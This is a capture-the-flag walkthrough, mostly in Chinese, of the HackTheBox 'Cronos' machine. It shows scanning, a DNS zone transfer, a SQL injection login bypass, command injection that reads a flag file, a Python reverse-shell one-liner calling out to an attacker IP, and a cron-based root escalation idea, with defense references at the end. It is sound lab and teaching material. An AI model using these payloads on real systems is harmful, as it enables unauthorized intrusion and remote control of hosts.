Scanning and Enumeration:
nmap:
┌──(root💀kali)-[~/Desktop/OSCP/cronos] └─# nmap -sV -sC 10.10.10.13 148 Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-03 00:43 EST Nmap scan report for 10.10.10.13 Host is up (0.22s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA) | 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA) |_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.10.3-P4-Ubuntu 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.18 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
發現三個端口是打開的:
Port 22: OpenSSH 7.2p2
Port 53: ISC BIND 9.10.3-P4 (DNS)
Port 80: Apache httpd 2.4.18
把網頁打開之後就是apache預設頁面而已,沒有存在什麼有用的服務
gobuster:
┌──(root💀kali)-[~/Desktop/OSCP/cronos] └─# gobuster dir -u http://10.10.10.13 -w /usr/share/dirb/wordlists/common.txt -x txt,php,py,cgi 2 ⚙ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.13 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: cgi,txt,php,py [+] Timeout: 10s =============================================================== 2022/01/03 03:13:44 Starting gobuster in directory enumeration mode =============================================================== /.hta.py (Status: 403) [Size: 293] /.hta (Status: 403) [Size: 290] /.hta.cgi (Status: 403) [Size: 294] /.hta.txt (Status: 403) [Size: 294] /.hta.php (Status: 403) [Size: 294] /.htaccess.txt (Status: 403) [Size: 299] /.htpasswd.php (Status: 403) [Size: 299] /.htaccess.php (Status: 403) [Size: 299] /.htpasswd.py (Status: 403) [Size: 298] /.htaccess.py (Status: 403) [Size: 298] /.htpasswd (Status: 403) [Size: 295] /.htaccess.cgi (Status: 403) [Size: 299] /.htpasswd.cgi (Status: 403) [Size: 299] /.htaccess (Status: 403) [Size: 295] /.htpasswd.txt (Status: 403) [Size: 299] /index.html (Status: 200) [Size: 11439] /server-status (Status: 403) [Size: 299]
使用gobuster掃描之後掃不出什麼東西
Goolge一下Apache2 Ubuntu Default Page之後得知IP不知道要映射到哪一個域名所以顯示出預設的伺服器頁面
這邊應該算是屬於配置上的錯誤
所以接下來的目的為1.找出正確的域名 2.在hosts裡面加入IP和域名,讓本地可以直接瀏覽
這邊就得到了cronos.htb域名,在把它加入到hosts裡面就可以正常瀏覽網站了
10.10.10.13 cronos.htb
接著再使用一次gobuster來掃描網站目錄看看有沒有新發現
┌──(root💀kali)-[~/Desktop/OSCP/cronos] └─# gobuster dir -u http://cronos.htb/ -w /usr/share/dirb/wordlists/common.txt -x txt,php,py,cgi 1 ⨯ 2 ⚙ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://cronos.htb/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: txt,php,py,cgi [+] Timeout: 10s =============================================================== 2022/01/03 04:06:59 Starting gobuster in directory enumeration mode =============================================================== /.hta.php (Status: 403) [Size: 293] /.hta.py (Status: 403) [Size: 292] /.hta.cgi (Status: 403) [Size: 293] /.hta (Status: 403) [Size: 289] /.hta.txt (Status: 403) [Size: 293] /.htaccess (Status: 403) [Size: 294] /.htpasswd.py (Status: 403) [Size: 297] /.htaccess.txt (Status: 403) [Size: 298] /.htpasswd.cgi (Status: 403) [Size: 298] /.htaccess.php (Status: 403) [Size: 298] /.htpasswd.txt (Status: 403) [Size: 298] /.htaccess.py (Status: 403) [Size: 297] /.htpasswd.php (Status: 403) [Size: 298] /.htaccess.cgi (Status: 403) [Size: 298] /.htpasswd (Status: 403) [Size: 294] /css (Status: 301) [Size: 306] [--> http://cronos.htb/css/] /favicon.ico (Status: 200) [Size: 0] /index.php (Status: 200) [Size: 2319] /index.php (Status: 200) [Size: 2319] /js (Status: 301) [Size: 305] [--> http://cronos.htb/js/] /robots.txt (Status: 200) [Size: 24] /robots.txt (Status: 200) [Size: 24] /server-status (Status: 403) [Size: 298] /web.config (Status: 200) [Size: 914]
可惜的是一樣沒有什麼可用的資訊,接下來找看看在這個DNS zone反解有沒有其他網域
下面介紹三種反解DNS zone的指令
語法一: host -l <domain-name> <dns_server-address> -> host -l cronos.htb 10.10.10.13 語法二: dig @10.10.10.13 cronos.htb any 語法三: dig axfr @10.10.10.13 cronos.htb
10.10.10.13 cronos.htb admin.cronos.htb
exploit:
管理員的登入頁面嘗試過幾組弱密碼都無法登入,接下來要使用SQL Authentication bypass嘗試看看
但是因為數量非常多,不太可能一組一組嘗試
這邊我們使用brupsuite進行暴力破解 (使用hydra也可以)
一開始先嘗試抓一組登入的封包觀察帳號密碼的格式
HTTP history -> 右鍵 send to intruder -> intruder -> positions
把變數都取消,這邊只需要把username當作變數
intruder -> payload -> 匯入剛剛的Authentication bypass
基本上暴力破解的設定到這邊就結束了,exploit!!
大多數的長度都是1887,可以判斷1887都是登入失敗的頁面
' or 1=1 limit 1 -- -+
登入之後有一個Net Tool v0.1,這是一個很簡單的網頁測試工具
嘗試後面加上;ls 來測試看看能不能執行命令
8.8.8.8;whoami
8.8.8.8;cat /home/noulis/user.txt
這邊確定命令是可以執行的,甚至是可以直接取得user.txt
有測試過bash reverseshell但是沒辦法連進去,可能這台機器就是沒辦法這麼用
這時候可以多試試看其他reverseshll,這邊我選python的
順利取的www-data權限,再來提權!!
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Privilege Escalation:
透過crontab -l 來查閱 crontab 的工作內容,crontab 是一個在linux系統底下可以定時執行任務的程式
再去查看crontab的設定內容(cat /etc/crontab), 可以看出有一個檔案以每分每秒都在使用root權限執行
(* * * * * root php /var/www/laravel/artisan) 這是一隻PHP檔案
也就是說如果可以修改這隻PHP的內容就可以改成php reverseshell來取得root權限
Reflections:
這是我第一台學習medium難度的機器,這台機器上從一開始的DNS zone transfer能夠讓我們獲取該主機上所有的網域列表
管理員介面的SQL injection 而且還是使用Authentication bypass就可以成功登入了
下面會貼一篇關於SQL injection的防禦技巧,有興趣的人可以研究看看
登入之後輸入框也有command injection的漏洞,
再來是cron的配置不佳不應該使用root權限來進行任務的排程就如上面內容
這會使攻擊者輕易的就拿到root權限
reference:
鳥哥 – 例行性工作排程(crontab)
鳥哥 – 主機名稱控制者: DNS 伺服器
ithome鐵人賽 – 利用DNS – nslookup
crontab
SQL cheatsheet
Reverse Shell Cheat Sheet
php-reverse-shell
SQL Injection Prevention Cheat Sheet
OS Command Injection Defense Cheat Sheet